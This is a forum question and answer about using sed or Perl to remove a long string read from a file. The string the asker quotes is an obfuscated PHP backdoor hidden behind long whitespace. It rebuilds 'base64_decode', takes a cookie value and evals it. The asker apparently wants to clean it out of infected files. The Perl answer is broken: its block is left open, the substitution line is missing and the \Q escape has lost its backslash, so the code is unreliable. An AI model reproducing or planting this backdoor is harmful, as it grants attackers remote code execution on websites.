How to read needle part of the sed command from a file?

I want to replace a long part of a file with something else preferably by sed but want to read that long part from a file. I already found this:

sed -e '/<TEXT1>/{r File1' -e 'd}' File2

from here which is the exact opposite of what I want to achieve. I tried lot of things like the following but all give the wrong result:

sed -e '/r needle.txt/replace' subject.txt


needle.txt is not regex, just the text I want to be replaced with lots of non ascii characters.


the exact string I’m dealing with is this:

<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n1509e9'];if(isset($s22)){eval($s21($s22));}?><?php

I want to keep the last <?php


You can have the shell expand the file’s contents before passing them to sed:

sed -e "s/$(cat needle.txt)/replace/" subject.txt

Note the use of double quotes.

This will make sed interpret any regex metacharacters from needle.txt as regex metacharacters and not ordinary characters. It will break if needle.txt contains a /.

In case you want the lines of needle.txt to be interpreted literally (even if they contain regex metacharacters as in your example), you can do something like:

perl -pe '
    BEGIN{ local $/; 
           open $IN,"<","needle.txt";
           $needle = <$IN>
'  subject.txt


  • The -pe switches mean apply the code that follows line by line to the lines of the subject.txt file and print each line after you’re done processing it.
  • The BEGIN{} segment is only executed once. What it does is it opens the needle.txt file and stores all of its contents in the $needle variable.
  • s/Q$needle/replace/ is the same syntax you’d expect from sed except that Q causes Perl’s regex engine to treat everything after it as a fixed string rather than a regex.

Leave a Reply

Your email address will not be published. Required fields are marked *